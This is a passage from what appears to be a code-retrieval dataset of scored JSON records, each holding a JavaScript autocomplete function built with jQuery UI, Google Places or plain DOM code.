}\n\n if (nameStart >= 0) {\n name = value.substring(nameStart, selection.start);\n ac.fetchNewContent(name, nameStart);\n } else {\n ac.hide();\n }\n }\n } else {\n\n // Otherwise, just use the whole field's content.\n ac.fetchNewContent($(this).val(), 0);\n }\n break;\n }\n });\n\n // This function updates the items in the popup menu to show only those who match the current value of the\n // field.\n this.update = function (results) {\n\n // Clear the popup menu.\n ac.popup.html(\"<ul class='popupMenu'></ul>\");\n\n // If there are results, show them.\n if (results.length) {\n\n var item, i, name,\n searchString = ac.value.replace(/ /g, \"\\xA0\").replace(/[\\-\\[\\]{}()*+?.,\\\\\\^$|#\\s]/g, \"\\\\$&\"),\n regexp = new RegExp(\"(\" + searchString + \")\", \"i\");\n\n // Sort the results alphabetically by name.\n results = results.sort(function (a, b) {\n return a.text === b.text ? 0 : (a.text < b.text ? -1 : 1);\n });\n\n // Get the first 5 results.\n results = results.slice(0, 5);\n\n // Add each of the results to the popup.\n\n for (i in results) {\n\n // Highlight the matching part of the name.\n name = $(\"<div/>\").text(results[i].text).html();\n name = name.replace(regexp, \"<strong>$1</strong>\");\n\n // Create an <li> for the result and add some event handlers.\n item = $(\"<li><a href='#'><i>\" + results[i].icon + \"</i> \" + name + \"</a></li>\").data(\"position\", i).data(\"item\", results[i]).mouseover(function () {\n ac.updateIndex($(this).data(\"position\"));\n }).click(function (e) {\n e.preventDefault();\n ac.clickHandler($(this).data(\"item\").text);\n ac.stop();\n });\n\n // Append it to the popup menu.\n ac.popup.find(\"ul\").append(item);\n }\n\n ac.items = results.length;\n ac.active = true;\n ac.show();\n ac.updateIndex(ac.index);\n\n } else {\n\n // If there are no results, hide the popup.\n ac.hide();\n }\n };\n\n this.timeout = null;\n\n // This function fetches a list of items that match the specified value with AJAX.\n this.fetchNewContent = function (value, position) {\n if (value && value.length) {\n clearTimeout(ac.timeout);\n\n // Set a timeout to make an AJAX request for a list of items.\n ac.timeout = setTimeout(function () {\n var results = fetchFunction(value, position);\n ac.update(results);\n\n }, 35);\n }\n ac.value = value;\n };\n\n // Show the popup\n this.show = function () {\n var selection, value, testSubject, offset;\n ac.popup.show().css({\n position: \"absolute\",\n zIndex: 99999\n });\n\n // If we have a character that denotes the start of the token, we want to position the popup just below\n // it. This is super-hard with a textarea. We have to create a dummy div and set its contents to whatever\n // the textarea's is, up until the character. Then we can add a span at the end and get its position.\n if (ac.characters) {\n selection = ac.field.getSelection();\n value = ac.field.val().substr(0, selection.start - ac.value.length);\n testSubject = $('<div/>')\n .css({\n position: 'absolute',\n top: ac.field.offset().top,\n left: ac.field.offset().left,\n width: ac.field.width(),\n height: ac.field.height(),\n fontSize: ac.field.css('fontSize'),\n fontFamily: ac.field.css('fontFamily'),\n fontWeight: ac.field.css('fontWeight'),\n paddingTop: ac.field.css('paddingTop'),\n paddingLeft: ac.field.css('paddingLeft'),\n paddingRight: ac.field.css('paddingRight'),\n paddingBottom: ac.field.css('paddingBottom'),\n letterSpacing: ac.field.css('letterSpacing'),\n lineHeight: ac.field.css('lineHeight')\n })\n .html(value.replace(/[\\n\\r]/g, \"<br/>\"))\n .appendTo(\"body\")\n .append(\"<span style='position:absolute'>&nbsp;</span>\");\n\n // Get the position of our dummy span and set the popup to the same position.\n offset = testSubject.find(\"span\").offset();\n ac.popup.css({\n left: offset.left,\n top: offset.top - ac.popup.height()\n });\n testSubject.remove();\n } else {\n // If we don't have a character, we can just position the popup directly beneath the field.\n ac.popup.css({\n left: ac.field.offset().left,\n top: ac.field.offset().top + ac.popup.height() - 1,\n width: ac.field.outerWidth()\n });\n }\n console.log(ac.popup);\n ac.active = true;\n };\n\n // Hide the popup.\n this.hide = function () {\n ac.popup.hide();\n ac.active = false;\n };\n\n // Stop any active AJAX requests to fetch members and hide the popup.\n this.stop = function () {\n ac.hide();\n clearTimeout(ac.timeout);\n };\n\n // Update the selected index of the popup.\n this.updateIndex = function (index) {\n ac.index = index;\n\n // Make sure the index is valid.\n if (ac.index < 0) {\n ac.index = ac.items - 1;\n } else if (ac.index >= ac.items) {\n ac.index = 0;\n }\n ac.popup.find(\"li\").removeClass(\"selected\").eq(ac.index).addClass(\"selected\");\n };\n}", "title": "" }, { "docid": "4775c369cde5ea008fe6d66ad64fd9f2", "score": "0.6554806", "text": "function initAutocomplete() {\n\t$('#txt_suggestion').autocomplete({\n \t\tsource: function(request, response) {\n $.ajax({\n url: \"/suggestions\",\n dataType: \"json\",\n data: {\n query: $('#txt_suggestion').val()\n },\n success: function( data ) {\n response( $.map( data, function( item ) {\n return {\n value: item.artist + ' - ' + item.name,\n key: item.key\n }\n }));\n }\n });\n },\n minLength: 2,\n select: function(event, ui) {\n $('#hid_key_morceau').val(ui.item.key);\n },\n open: function() {\n $(this).removeClass( \"ui-corner-all\" ).addClass( \"ui-corner-top\" );\n },\n close: function() {\n $(this).removeClass( \"ui-corner-top\" ).addClass( \"ui-corner-all\" );\n }\n \t});\n}", "title": "" }, { "docid": "2ae960a1ae5fde171f9f775c4a5814be", "score": "0.65491116", "text": "function show_choice(type, reslist) {\n $(\"#taggs\").focus().autocomplete({\n autoFocus: true,\n minLength: 2,\n source: reslist,\n select: function (event, ui) {\n sendAuto(type, ui.item.label);\n $(this).val(\"\");\n return false;\n }\n });\n}", "title": "" }, { "docid": "685be7d38099d76780636685463c92c9", "score": "0.65369046", "text": "function autocompletefunc(nametext, btnautocomplete, studentregno){\n\t$( \"#\"+nametext ).autocomplete();\n\t\t$( \"#\"+nametext ).autocomplete( \"disable\" );\n\t\t$(\"#\"+nametext).on('click', function(){\n\t\t\t$(this).removeAttr('readonly');\n\t\t\t$(\"#\"+btnautocomplete).css('display', 'block');\n\t\t});\n\t\t$(\"#\"+btnautocomplete).on('click', function(){\n\t\t\t$( \"#\"+nametext ).autocomplete( \"enable\" );\n\t\t\t$( \"#\"+nametext ).addClass('studentname');\n\t\t\t$(\"#\"+nametext).autocomplete('search', $(\"#\"+nametext).val());\n\t\t});\n\t\t$( \"#\"+nametext ).autocomplete({\n\t\t\tdelay: 0,\n\t\t\tsource: function( request, response ) {\n\t\t\t\t$.ajax( {\n\t\t\t\t\turl: \"../includes/studentaccajax.php\",\n\t\t\t\t\tdataType: \"jsonp\",\n\t\t\t\t\tdata: {\n\t\t\t\t\t\tterm: request.term\n\t\t\t\t\t},\n\t\t\t\t\tsuccess: function( data ) {\n\t\t\t\t\t\tif(data != '' && $(\"#\"+nametext).val() != '')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//response(data.slice(0, 10));\n\t\t\t\t\t\t\tresponse( data );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t\t$('#comment').hide();\n\t\t\t},\n\t\t\tminLength: 2,\n\t\t\tselect: function( event, ui ) {\n\t\t\t\t$(\"#\"+nametext).val(ui.item.value);\n\t\t\t\t$(\"#\"+studentregno).val(ui.item.id);\n\t\t\t\t$( \"#\"+nametext ).autocomplete( \"disable\" );\n\t\t\t\t$( \"#\"+nametext ).removeClass('studentname');\n\t\t\t\t$( \"#\"+nametext ).removeClass('ui-autocomplete-loading');\n\t\t\t\t$(\"#\"+nametext).attr('readonly', 'readonly');\n\t\t\t\t$(\"#\"+btnautocomplete).css('display', 'none');\n\t\t\t\t\t//$(\"form[name='frmSearch']\").submit();\n\t\t\t}\n\t\t});\n}", "title": "" }, { "docid": "3cf3358513e948741040ef0cf3846044", "score": "0.6535511", "text": "function autoComplete() {\n scope.autocomplete = new google.maps.places.Autocomplete(\n (document.getElementById('autocomplete'))\n );\n scope.autocomplete.addListener('place_changed', obterCoordenadas);\n }", "title": "" }, { "docid": "6aea2520f325e6c0c448e2df65f25dff", "score": "0.65354276", "text": "function removeAutocompletion() {\n\t\t\t$input.unautocomplete();\n\t\t}", "title": "" }, { "docid": "b4037404dd888e8a30602d09fea4db3c", "score": "0.6518211", "text": "function startAuto(){\n autocomplete = new google.maps.places.Autocomplete(\n (document.getElementById('autocomplete')), {\n types: ['(cities)']}\n );\n autocomplete.addListener('place_changed', placeSearch);\n}", "title": "" }, { "docid": "1b05252f7370a6d867bbf22ddfc17ba3", "score": "0.65178066", "text": "function autocomplete (input, args){\r\n let currentFocus;\r\n\r\n //Tack on the autocomplete after the user enters new input\r\n input.addEventListener(\"input\", function(e){\r\n let a, b, val = this.value;\r\n closeAllLists();\r\n if (!val){return false;}\r\n currentFocus = -1;\r\n\r\n //Create a div to hold the autocomplete options\r\n a = document.createElement(\"div\");\r\n a.setAttribute(\"id\", \"autocomplete-list\");\r\n a.setAttribute(\"class\", \"autocomplete-items\");\r\n this.parentNode.appendChild(a);\r\n\r\n //Loop through every pokemon to check if it fits\r\n for (let i = 0; i < args.length; i++){\r\n if (args[i].name.substr(0, val.length).toLowerCase() == val.toLowerCase()){\r\n b = document.createElement(\"div\");\r\n b.innerHTML = \"<p>\" + args[i].name + \"</p><input type='hidden' value='\" + args[i].name + \"'>\";\r\n b.addEventListener(\"click\", function(e){\r\n input.value = this.getElementsByTagName(\"input\")[0].value;\r\n closeAllLists();\r\n });\r\n a.appendChild(b);\r\n }\r\n }\r\n });\r\n\r\n //Set the currently selected option when the user uses the arrow keys\r\n input.addEventListener(\"keydown\", function(e){\r\n let x = document.getElementById(\"autocomplete-list\");\r\n if (x) {x = x.getElementsByTagName(\"div\");}\r\n\r\n //executes when the down arrow key is pressed\r\n if (e.keyCode == 40){\r\n currentFocus++;\r\n addActive(x);\r\n }\r\n\r\n //executes when the up arrow key is pressed\r\n else if (e.keyCode == 38){\r\n currentFocus--;\r\n addActive(x);\r\n }\r\n\r\n //executes when enter is pressed\r\n else if (e.keyCode == 13){\r\n e.preventDefault();\r\n if (currentFocus > -1){\r\n if (x){x[currentFocus].click();}\r\n }\r\n }\r\n });\r\n\r\n //Set the active element\r\n function addActive(x){\r\n if (!x){return false;}\r\n removeActive(x);\r\n if (currentFocus >= x.length) {currentFocus = 0;}\r\n if (currentFocus < 0) {currentFocus = (x.length - 1);}\r\n x[currentFocus].classList.add(\"autocomplete-active\");\r\n }\r\n\r\n //Remove all other active elements\r\n function removeActive(x){\r\n for (let i = 0; i < x.length; i++){\r\n x[i].classList.remove(\"autocomplete-active\");\r\n }\r\n }\r\n\r\n //Close out any open autocomplete lists\r\n function closeAllLists(element){\r\n let x = document.getElementsByClassName(\"autocomplete-items\");\r\n for (let i = 0; i < x.length; i++){\r\n if (element != x[i] && element != input){x[i].parentNode.removeChild(x[i])};\r\n }\r\n }\r\n\r\n //Close out the list when the user clicks outside the list\r\n document.addEventListener(\"click\", function(e) {closeAllLists(e.target);});\r\n}", "title": "" }, { "docid": "2175355f5d7fda553ccd0e8eb3b75162", "score": "0.65177935", "text": "function searchPacientesGlob( inputText )\n{\n // console.log( inputText.value );\n\n //busco el paciente - obtengo el arreglo de ese paciente\n var Obj_paciente = ObtenerPacienteslistaSearch( inputText.value );\n\n autocomplete( inputText , Obj_paciente );\n // console.log( Obj_paciente );\n}", "title": "" }, { "docid": "3f0c8bfa3df965de6b7a749c77ba2b0b", "score": "0.65088844", "text": "function searchAutocomplete() {\n\n\t// don't navigate away from the field on tab when selecting an item\n\t$(\"#search-query\").bind(\"keydown\", function(event) {\n\t\t\tif (event.keyCode === $.ui.keyCode.TAB &&\n\t\t\t\t$(this).data(\"ui-autocomplete\").menu.active) {\n\t\t\t\tevent.preventDefault();\n\t\t\t}\n\n\t\t}).autocomplete({\n\t\t\tminLength: 0,\n\t\t\tsource: function(request, response) {\n\t\t\t\t// delegate back to autocomplete, but extract the last term\n\t\t\t\tresponse($.ui.autocomplete.filter(\n\t\t\t\tautocomplete, extractLast(request.term)));\n\t\t\t},\n\t\t\tfocus: function() {\n\t\t\t\t// prevent value inserted on focus\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\tselect: function(event, ui) {\n\t\t\t\tvar terms = split(this.value);\n\t\t\t\t// remove the current input\n\t\t\t\tterms.pop();\n\n\t\t\t\tvar selectedItem = ui.item.value;\n\n\t\t\t\t// add the selected item\n\t\t\t\tterms.push(ui.item.value);\n\n\t\t\t\tif(selectedItem === \"tag:\") {\n\t\t\t\t\tautocomplete = savedTags.concat(searchTypes);\n\n\t\t\t\t} else if(selectedItem === \"logbook:\") {\n\t\t\t\t\tautocomplete = savedLogbooks.concat(searchTypes);\n\t\t\t\t}\n\n\t\t\t\t// add placeholder to get the comma-and-space at the end\n\t\t\t\tterms.push(\"\");\n\t\t\t\tthis.value = terms.join(\" \");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t});\n}", "title": "" }, { "docid": "5bcccd0a7e05b8604de990b6ae1caa1d", "score": "0.6485327", "text": "function prepAutocomplete(tagid) {\n $('#new-addon-id-' + tagid).autocomplete(autocompleteurl,\n {\n minChars:4,\n formatItem: function(row) { return '<b>' + row[0] + '</b><br><i>' + row[1] + '</i>'; },\n formatResult: function(row) { return row[2]; }\n });\n $('#new-addon-id-' + tagid).focus();\n}", "title": "" }, { "docid": "ba27002f8c4d087ca0ab708eca2fd0f2", "score": "0.6472867", "text": "function autocomplete (text) {\n const commandName = Object.keys(commands)\n .find(cmdName => cmdName.startsWith(text.toLowerCase()))\n\n if (commandName) {\n const completion = commandName.slice(text.length)\n const inputLength = palette.value.length\n palette.value = `${palette.value}${completion}`\n palette.setSelectionRange(inputLength, palette.value.length)\n }\n }", "title": "" }, { "docid": "0d22133c79ba11a5ca163475836d0b78", "score": "0.6472629", "text": "function tabcomplete()\n {\n var words = {\n \".\": special_words[\"python_keywords\"],\n \"<type 'str'>\\n\": special_words[\"string_methods\"]\n };\n\n function findbeginning(s, from, stopAtDot)\n {\n function equalButNotEscaped(s,i,q)\n {\n if(s.charAt(i) != q) return false;\n if(i == 0) return true;\n if(s.charAt(i-1) == '\\\\') return false;\n return true;\n }\n\n var nparens = 0;\n var i;\n for(i=from; i>=0; i--) {\n if(s.charAt(i) == ' ') break;\n\n if(stopAtDot && s.charAt(i) == '.') break;\n\n if(s.charAt(i) == ')') nparens++;\n else if(s.charAt(i) == '(') nparens--;\n\n if(nparens < 0) break;\n\n if(s.charAt(i) == '\\'' || s.charAt(i) == '\\\"') {\n var quot = s.charAt(i);\n i--;\n while(i >= 0 && !equalButNotEscaped(s,i,quot)) {\n i--;\n }\n }\n }\n return i;\n }\n\n function getcaretpos(inp)\n {\n if(inp.selectionEnd != null) return inp.selectionEnd;\n \n if(inp.createTextRange)\n {\n var docrange = window.Shell.document.selection.createRange();\n var inprange = inp.createTextRange();\n if (inprange.setEndPoint) {\n inprange.setEndPoint(\"EndToStart\", docrange);\n return inprange.text.length;\n }\n }\n\n return inp.value.length;\n }\n\n function setselectionto(inp,pos)\n {\n if(inp.selectionStart) {\n inp.selectionStart = inp.selectionEnd = pos;\n }\n else if(inp.createTextRange) {\n var docrange = window.Shell.document.selection.createRange();\n var inprange = inp.createTextRange();\n inprange.move(\"character\",pos);\n inprange.select();\n }\n }\n\n var caret = getcaretpos(_in);\n if(caret) {\n var dotpos, spacepos, complete, obj;\n dotpos = findbeginning(_in.value, caret-1, true);\n if(dotpos == -1 || _in.value.charAt(dotpos) != \".\") {\n dotpos = caret;\n }\n\n spacepos = findbeginning(_in.value, dotpos-1, false);\n if(spacepos == dotpos || spacepos+1 == dotpos || dotpos == caret) {\n obj = \".\";\n }\n else {\n var objname = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n obj = objname;\n }\n if (obj != \".\") {\n obj = document.ConsoleService.executeCode(\"type(\" + obj + \")\");\n }\n\n if(dotpos == caret) {\n if(spacepos+1 == dotpos || spacepos == dotpos) return;\n complete = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n }\n else {\n complete = _in.value.substr(dotpos+1,caret-(dotpos+1));\n }\n var matches = [];\n var bestmatch = null;\n for(var i in words[obj]) {\n var a = words[obj][i];\n if(a.substr(0,complete.length) == complete) {\n matches.push(a);\n if(bestmatch == null) {\n bestmatch = a;\n }\n else {\n function min(a,b){ return ((a<b)?a:b); }\n var i;\n for(i=0; i< min(bestmatch.length, a.length); i++) {\n if(bestmatch.charAt(i) != a.charAt(i)) break;\n }\n bestmatch = bestmatch.substr(0,i);\n }\n }\n }\n bestmatch = (bestmatch || \"\");\n var objAndComplete = (objname || obj) + \".\" + bestmatch;\n if(matches.length > 1 && (tooManyMatches == objAndComplete || matches.length <= 10)) {\n printWithRunin(\"Matches: \", matches.join(', '), \"tabcomplete\");\n tooManyMatches = null;\n }\n else if(matches.length > 10) {\n println(matches.length + \" matches. Press tab again to see them all\", \"tabcomplete\");\n tooManyMatches = objAndComplete;\n }\n else {\n tooManyMatches = null;\n }\n if(bestmatch != \"\") {\n var sstart;\n if(dotpos == caret) {\n sstart = spacepos+1;\n }\n else {\n sstart = dotpos+1;\n }\n _in.value = _in.value.substr(0, sstart) + bestmatch + _in.value.substr(caret);\n setselectionto(_in,caret + (bestmatch.length - complete.length));\n }\n }\n }", "title": "" }, { "docid": "09c4d230298581b4264e46c39d13a383", "score": "0.6453238", "text": "function autoComplete(PhpUrl, atributo, operacao, maxElements, inputSelector, accao, pegarDados) {\n var pesquisa = {\n //Pesquisa e o texto digitado\n url : function (pesquisa) {\n return PhpUrl;\n },\n\n getValue:atributo,\n\n ajaxSettings: {\n dataType: \"json\",\n method: \"POST\",\n data: {\n operacao : operacao\n }\n },\n\n list :{\n //sera executada a funcao accao quando for selecionada um item\n onClickEvent : accao,\n\n onSelectItemEvent: pegarDados,\n\n onChooseEvent : function () {\n return(($(inputSelector).val()));\n },\n maxNumberOfElements : maxElements,\n match : {\n enabled : true\n },\n showAnimation: {\n type: \"fade\",\n time: 400,\n callback: function() {}\n },\n theme : \"Round\",\n hideAnimation: {\n type: \"slide\",\n time: 400,\n callback: function() {}\n }\n }\n }\n\n $(inputSelector).easyAutocomplete(pesquisa);\n}", "title": "" }, { "docid": "829fc33fbfb071cc753aaa9e3fa3edc1", "score": "0.64516175", "text": "function autocomplete(inp, arr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function (e) {\n var a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) { return false; }\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.setAttribute(\"id\", arr[i]);\n b.setAttribute(\"onclick\", \"changeFunction()\");\n b.setAttribute(\"style\", \"font-size: 14px;font-family: sans-serif Gotham ;\");\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function (e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n //closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a Search function \n presses a key on the keyboard:\n */\n // inp.addEventListener(\"keydown\", function (e) {\n // //var countries = [\"Biology\",\"Acid and Base\",\"Chemistry\",\"Grade 11\",\"Grade 12\",\"Grade 10\",\"ICT\",\"Stempower\",\"Simulated Lab\"]; \n // var x = document.getElementById(this.id + \"autocomplete-list\");\n // if (x) x = x.getElementsByTagName(\"div\");\n // if (e.keyCode == 40) {\n // /*If the arrow DOWN key is pressed,\n // increase the currentFocus variable:*/\n // $('.autocomplete-active').click(function () {\n // console.log(this.id);\n // });\n // currentFocus++;\n // /*and and make the current item more visible:*/\n // addActive(x);\n // } else if (e.keyCode == 38) { //up\n // /*If the arrow UP key is pressed,\n // decrease the currentFocus variable:*/\n // currentFocus--;\n // /*and and make the current item more visible:*/\n // addActive(x);\n // } else if (e.keyCode == 13) {\n // /*If the ENTER key is pressed, prevent the form from being submitted,*/\n // e.preventDefault(); countries\n // if (currentFocus > -1) {\n // /*and simulate a click on the \"active\" item:*/\n // if (x) x[currentFocus].click();\n // }\n // }\n // var query = $(\"#myInput1\").val();\n // if(query==='')\n // {\n \n // $('#content').show();\n\n // }\n // else{\n // search(query);\n // }\n \n\n // });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n}", "title": "" }, { "docid": "90c17bcc95f48bbdbcabb2de28aff2d3", "score": "0.64480126", "text": "function init_autocomplete() {\n\t\t\t\n\t\t\tif( typeof (autocomplete) === 'undefined'){ return; }\n\t\t\tconsole.log('init_autocomplete');\n\t\t\t\n\t\t\tvar countries = { AD:\"Andorra\",A2:\"Andorra Test\",AE:\"United Arab Emirates\",AF:\"Afghanistan\",AG:\"Antigua and Barbuda\",AI:\"Anguilla\",AL:\"Albania\",AM:\"Armenia\",AN:\"Netherlands Antilles\",AO:\"Angola\",AQ:\"Antarctica\",AR:\"Argentina\",AS:\"American Samoa\",AT:\"Austria\",AU:\"Australia\",AW:\"Aruba\",AX:\"Åland Islands\",AZ:\"Azerbaijan\",BA:\"Bosnia and Herzegovina\",BB:\"Barbados\",BD:\"Bangladesh\",BE:\"Belgium\",BF:\"Burkina Faso\",BG:\"Bulgaria\",BH:\"Bahrain\",BI:\"Burundi\",BJ:\"Benin\",BL:\"Saint Barthélemy\",BM:\"Bermuda\",BN:\"Brunei\",BO:\"Bolivia\",BQ:\"British Antarctic Territory\",BR:\"Brazil\",BS:\"Bahamas\",BT:\"Bhutan\",BV:\"Bouvet Island\",BW:\"Botswana\",BY:\"Belarus\",BZ:\"Belize\",CA:\"Canada\",CC:\"Cocos [Keeling] Islands\",CD:\"Congo - Kinshasa\",CF:\"Central African Republic\",CG:\"Congo - Brazzaville\",CH:\"Switzerland\",CI:\"Côte d’Ivoire\",CK:\"Cook Islands\",CL:\"Chile\",CM:\"Cameroon\",CN:\"China\",CO:\"Colombia\",CR:\"Costa Rica\",CS:\"Serbia and Montenegro\",CT:\"Canton and Enderbury Islands\",CU:\"Cuba\",CV:\"Cape Verde\",CX:\"Christmas Island\",CY:\"Cyprus\",CZ:\"Czech Republic\",DD:\"East Germany\",DE:\"Germany\",DJ:\"Djibouti\",DK:\"Denmark\",DM:\"Dominica\",DO:\"Dominican Republic\",DZ:\"Algeria\",EC:\"Ecuador\",EE:\"Estonia\",EG:\"Egypt\",EH:\"Western Sahara\",ER:\"Eritrea\",ES:\"Spain\",ET:\"Ethiopia\",FI:\"Finland\",FJ:\"Fiji\",FK:\"Falkland Islands\",FM:\"Micronesia\",FO:\"Faroe Islands\",FQ:\"French Southern and Antarctic Territories\",FR:\"France\",FX:\"Metropolitan France\",GA:\"Gabon\",GB:\"United Kingdom\",GD:\"Grenada\",GE:\"Georgia\",GF:\"French Guiana\",GG:\"Guernsey\",GH:\"Ghana\",GI:\"Gibraltar\",GL:\"Greenland\",GM:\"Gambia\",GN:\"Guinea\",GP:\"Guadeloupe\",GQ:\"Equatorial Guinea\",GR:\"Greece\",GS:\"South Georgia and the South Sandwich Islands\",GT:\"Guatemala\",GU:\"Guam\",GW:\"Guinea-Bissau\",GY:\"Guyana\",HK:\"Hong Kong SAR China\",HM:\"Heard Island and McDonald Islands\",HN:\"Honduras\",HR:\"Croatia\",HT:\"Haiti\",HU:\"Hungary\",ID:\"Indonesia\",IE:\"Ireland\",IL:\"Israel\",IM:\"Isle of Man\",IN:\"India\",IO:\"British Indian Ocean Territory\",IQ:\"Iraq\",IR:\"Iran\",IS:\"Iceland\",IT:\"Italy\",JE:\"Jersey\",JM:\"Jamaica\",JO:\"Jordan\",JP:\"Japan\",JT:\"Johnston Island\",KE:\"Kenya\",KG:\"Kyrgyzstan\",KH:\"Cambodia\",KI:\"Kiribati\",KM:\"Comoros\",KN:\"Saint Kitts and Nevis\",KP:\"North Korea\",KR:\"South Korea\",KW:\"Kuwait\",KY:\"Cayman Islands\",KZ:\"Kazakhstan\",LA:\"Laos\",LB:\"Lebanon\",LC:\"Saint Lucia\",LI:\"Liechtenstein\",LK:\"Sri Lanka\",LR:\"Liberia\",LS:\"Lesotho\",LT:\"Lithuania\",LU:\"Luxembourg\",LV:\"Latvia\",LY:\"Libya\",MA:\"Morocco\",MC:\"Monaco\",MD:\"Moldova\",ME:\"Montenegro\",MF:\"Saint Martin\",MG:\"Madagascar\",MH:\"Marshall Islands\",MI:\"Midway Islands\",MK:\"Macedonia\",ML:\"Mali\",MM:\"Myanmar [Burma]\",MN:\"Mongolia\",MO:\"Macau SAR China\",MP:\"Northern Mariana Islands\",MQ:\"Martinique\",MR:\"Mauritania\",MS:\"Montserrat\",MT:\"Malta\",MU:\"Mauritius\",MV:\"Maldives\",MW:\"Malawi\",MX:\"Mexico\",MY:\"Malaysia\",MZ:\"Mozambique\",NA:\"Namibia\",NC:\"New Caledonia\",NE:\"Niger\",NF:\"Norfolk Island\",NG:\"Nigeria\",NI:\"Nicaragua\",NL:\"Netherlands\",NO:\"Norway\",NP:\"Nepal\",NQ:\"Dronning Maud Land\",NR:\"Nauru\",NT:\"Neutral Zone\",NU:\"Niue\",NZ:\"New Zealand\",OM:\"Oman\",PA:\"Panama\",PC:\"Pacific Islands Trust Territory\",PE:\"Peru\",PF:\"French Polynesia\",PG:\"Papua New Guinea\",PH:\"Philippines\",PK:\"Pakistan\",PL:\"Poland\",PM:\"Saint Pierre and Miquelon\",PN:\"Pitcairn Islands\",PR:\"Puerto Rico\",PS:\"Palestinian Territories\",PT:\"Portugal\",PU:\"U.S. Miscellaneous Pacific Islands\",PW:\"Palau\",PY:\"Paraguay\",PZ:\"Panama Canal Zone\",QA:\"Qatar\",RE:\"Réunion\",RO:\"Romania\",RS:\"Serbia\",RU:\"Russia\",RW:\"Rwanda\",SA:\"Saudi Arabia\",SB:\"Solomon Islands\",SC:\"Seychelles\",SD:\"Sudan\",SE:\"Sweden\",SG:\"Singapore\",SH:\"Saint Helena\",SI:\"Slovenia\",SJ:\"Svalbard and Jan Mayen\",SK:\"Slovakia\",SL:\"Sierra Leone\",SM:\"San Marino\",SN:\"Senegal\",SO:\"Somalia\",SR:\"Suriname\",ST:\"São Tomé and Príncipe\",SU:\"Union of Soviet Socialist Republics\",SV:\"El Salvador\",SY:\"Syria\",SZ:\"Swaziland\",TC:\"Turks and Caicos Islands\",TD:\"Chad\",TF:\"French Southern Territories\",TG:\"Togo\",TH:\"Thailand\",TJ:\"Tajikistan\",TK:\"Tokelau\",TL:\"Timor-Leste\",TM:\"Turkmenistan\",TN:\"Tunisia\",TO:\"Tonga\",TR:\"Turkey\",TT:\"Trinidad and Tobago\",TV:\"Tuvalu\",TW:\"Taiwan\",TZ:\"Tanzania\",UA:\"Ukraine\",UG:\"Uganda\",UM:\"U.S. Minor Outlying Islands\",US:\"United States\",UY:\"Uruguay\",UZ:\"Uzbekistan\",VA:\"Vatican City\",VC:\"Saint Vincent and the Grenadines\",VD:\"North Vietnam\",VE:\"Venezuela\",VG:\"British Virgin Islands\",VI:\"U.S. Virgin Islands\",VN:\"Vietnam\",VU:\"Vanuatu\",WF:\"Wallis and Futuna\",WK:\"Wake Island\",WS:\"Samoa\",YD:\"People's Democratic Republic of Yemen\",YE:\"Yemen\",YT:\"Mayotte\",ZA:\"South Africa\",ZM:\"Zambia\",ZW:\"Zimbabwe\",ZZ:\"Unknown or Invalid Region\" };\n\n\t\t\tvar countriesArray = $.map(countries, function(value, key) {\n\t\t\t return {\n\t\t\t\tvalue: value,\n\t\t\t\tdata: key\n\t\t\t };\n\t\t\t});\n\n\t\t\t// initialize autocomplete with custom appendTo\n\t\t\t$('#autocomplete-custom-append').autocomplete({\n\t\t\t lookup: countriesArray\n\t\t\t});\n\t\t\t\n\t\t}", "title": "" }, { "docid": "1ad6f4498e361b0b83f5017223975799", "score": "0.64412427", "text": "get autocompleteOptions() {\n return this._searchText.pipe(\n map((txt) => txt.replace(\"name:\", \"\")),\n filter((txt) => txt.length),\n debounceTime(this.debounceInterval),\n distinctUntilChanged(),\n switchMap((txt) => this.autocomplete(txt))\n );\n }", "title": "" }, { "docid": "e95d2f4bf3801af97136f736bc557c94", "score": "0.6439113", "text": "function autoCompleteTextBox() {\n var autoCompleteData = JSON.parse(localStorage.getItem('searchResult'));\n if (autoCompleteData) {\n $('#searchText').autocomplete({\n source: autoCompleteData,\n multiple: true,\n mustMatch: true,\n autoFill: true,\n minLength: 1\n });\n }\n }", "title": "" }, { 